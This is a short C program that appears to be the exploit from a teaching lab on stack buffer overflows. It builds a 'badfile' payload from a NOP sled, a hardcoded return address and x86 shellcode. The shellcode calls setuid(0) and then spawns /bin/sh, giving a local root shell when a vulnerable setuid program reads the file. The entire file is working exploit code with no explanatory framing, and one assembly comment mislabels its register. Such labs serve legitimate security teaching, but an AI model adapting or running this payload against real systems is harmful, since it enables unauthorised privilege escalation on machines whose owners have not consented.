#include <stdlib.h>

#include <stdio.h>

#include <string.h>

const char code[] =

"\x31\xc0" /\* xorl %eax,%eax \*/

"\x31\xdb" /\* xorl %ebx,%ebx \*/

"\xb0\xd5" /\* movb $0xd5,%ebx \*/

"\xcd\x80" /\* int $0x80 \*/

"\x31\xc0" /\* xorl %eax,%eax \*/

"\x50" /\* pushl %eax \*/

"\x68""//sh" /\* pushl $0x68732f2f \*/

"\x68""/bin" /\* pushl $0x6e69622f \*/

"\x89\xe3" /\* movl %esp,%ebx \*/

"\x50" /\* pushl %eax \*/

"\x53" /\* pushl %ebx \*/

"\x89\xe1" /\* movl %esp,%ecx \*/

"\x99" /\* cdq \*/

"\xb0\x0b" /\* movb $0x0b,%al \*/

"\xcd\x80" /\* int $0x80 \*/

;

void main(int argc, char \*\*argv)

{

char buffer[517];

FILE \*badfile;

memset(&buffer, 0x90, 517);

\*((long \*) (buffer + 0x24)) = 0xbfffebf8;

memcpy(buffer + sizeof(buffer) - sizeof(code), code, sizeof(code));

badfile = fopen("./badfile", "w");

fwrite(buffer, 517, 1, badfile);

fclose(badfile);

}